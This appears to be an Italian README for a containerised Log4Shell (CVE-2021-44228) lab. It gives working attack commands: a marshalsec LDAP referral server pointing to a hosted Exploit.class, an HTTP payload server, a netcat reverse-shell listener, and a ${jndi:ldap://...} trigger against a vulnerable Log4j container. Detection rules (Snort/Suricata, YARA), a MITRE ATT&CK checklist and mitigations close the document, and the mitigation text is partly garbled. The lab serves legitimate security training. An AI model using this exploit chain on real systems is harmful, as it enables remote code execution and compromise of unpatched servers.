**Log4Shell PoC è un ambiente di sfruttamento ad alta fedeltà progettato per replicare la vulnerabilità CVE-2021-44228.** Fornisce un sandbox containerizzato per dimostrare l'iniezione JNDI, il reindirizzamento di referral LDAP/RMI e l'esecuzione remota di codice (RCE) tramite la libreria Log4j 2.
██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗
██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║
██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║
███████╗╚██████╔╝╚██████╔╝ ██║███████║██║ ██║███████╗███████╗███████╗
╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
██████╗ ██████╗ ██████╗
██╔══██╗██╔═══██╗██╔════╝
██████╔╝██║ ██║██║
██╔═══╝ ██║ ██║██║
██║ ╚██████╔╝╚██████╔╝
╚═╝ ╚═════╝ ╚═════╝
⚡ LOG4SHELL (CVE-2021-44228) LAB PoC
[ PROVA DI CONCETTO & SFRUTTAMENTO JNDI ]
Log4Shell PoC è un ambiente di sfruttamento ad alta fedeltà progettato per replicare la vulnerabilità CVE-2021-44228. Fornisce una sandbox containerizzata per dimostrare l'iniezione JNDI, il reindirizzamento referral LDAP/RMI e l'esecuzione remota di codice (RCE) tramite la libreria Log4j 2.
Solo per scopi educativi e test di sicurezza autorizzati.
L'uso di questa Prova di Concetto per attaccare bersagli senza previo consenso reciproco è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli autori non si assumono alcuna responsabilità e non sono responsabili per perdita di dati, danni al sistema, conseguenze legali o uso improprio causato da questo programma. Utilizzando questo software, accetti di operare entro i limiti legali della tua giurisdizione.
Il lato dell'attaccante è composto da tre canali distinti per facilitare il PoC.
Exploit.class che la vittima deve scaricare ed eseguire.Un ambiente Dockerizzato OpenJDK 8 che esegue un'implementazione vulnerabile di Log4j.
Tab 1: Server di referral LDAP
docker run --rm -it -p 1389:1389 maven:3.8.6-openjdk-8 /bin/bash -c "
git clone [https://github.com/mbechler/marshalsec.git](https://github.com/mbechler/marshalsec.git) && \
cd marshalsec && \
mvn clean package -DskipTests && \
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer '[http://172.17.0.1:8888/#Exploit](http://172.17.0.1:8888/#Exploit)' 1389"
Tab 2: Consegna del payload HTTP
# Avvia il server Python nella directory contenente Exploit.class
python3 -m http.server --bind 0.0.0.0 8888
Tab 3: Listener Netcat
nc -lvnp 9001
Tab 4: Avvia il container vulnerabile
docker run --rm -it -v $(pwd):/app -w /app openjdk:8u121-jdk-alpine /bin/sh
All'interno del container: Attiva il PoC
java -Dlog4j2.formatMsgNoLookups=false \
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
-cp ".:log4j-api-2.14.1.jar:log4j-core-2.14.1.jar" \
VulnerableLog '${jndi:ldap://172.17.0.1:1389/Exploit}'
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT Possible Log4j RCE Attempt (jndi)"; content:"jndi|3a|"; nocase; sid:2034647; rev:1;)
rule Log4Shell_PoC_JNDI {
meta:
description = "Rileva stringhe di lookup JNDI nei log utilizzati nel PoC"
author = "Apex Pro Framework"
strings:
$jndi = / \$\{jndi:(ldap|rmi|dns|nis|iiop|corba|lds):/ i
$obfuscated = /\$\{\$\{[^}]+\}ndi:/ i
condition:
any of them
}
| Fase | Tecnica | Allarme attivato? | MITRE ATT&CK |
|---|---|---|---|
| Accesso iniziale | Sfruttamento app pubblica | [ ] | T1190 |
| Esecuzione | Interprete comandi e script | [ ] | T1059 |
| Comando e controllo | Protocollo a livello applicativo (LDAP) | [ ] | T1071.003 |
| Esfiltrazione | Protocollo non a livello applicativo | [ ] | T1048 |
-Dlog4j2.formatMsgNoLookups=true per disabilitare i lookup.JndiLookup.class dal JAR log4j-core.172.17.0.0/16).